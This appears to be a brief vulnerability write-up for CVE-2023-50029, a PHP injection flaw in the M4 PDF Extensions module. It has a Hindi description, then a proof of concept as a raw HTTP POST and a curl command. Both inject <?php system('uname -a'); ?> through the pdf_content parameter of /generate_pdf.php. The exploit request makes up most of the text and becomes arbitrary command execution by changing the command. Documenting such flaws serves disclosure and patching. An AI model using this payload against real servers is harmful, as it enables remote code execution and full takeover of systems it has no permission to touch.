PHP-Injection-in-M4-PDF-Extensions

CVE-2023-50029 M4 PDF Extensions मॉड्यूल में एक PHP इंजेक्शन भेद्यता है। यह भेद्यता हमलावरों को सर्वर पर मनमाना PHP कोड इंजेक्ट और निष्पादित करने की अनुमति देती है, जिससे वे लक्षित प्रणाली पर पूर्ण नियंत्रण प्राप्त कर सकते हैं। समस्या इनपुट के अनुचित सत्यापन में निहित है, जिससे दुर्भावनापूर्ण कोड उपयोगकर्ता मापदंडों के माध्यम से पारित किया जा सकता है।

Poc

POST /generate_pdf.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

pdf_content=<?php system('uname -a'); ?>

OR Curl

curl -X POST http://example.com/generate_pdf.php -d "pdf_content=<?php system('uname -a'); ?>"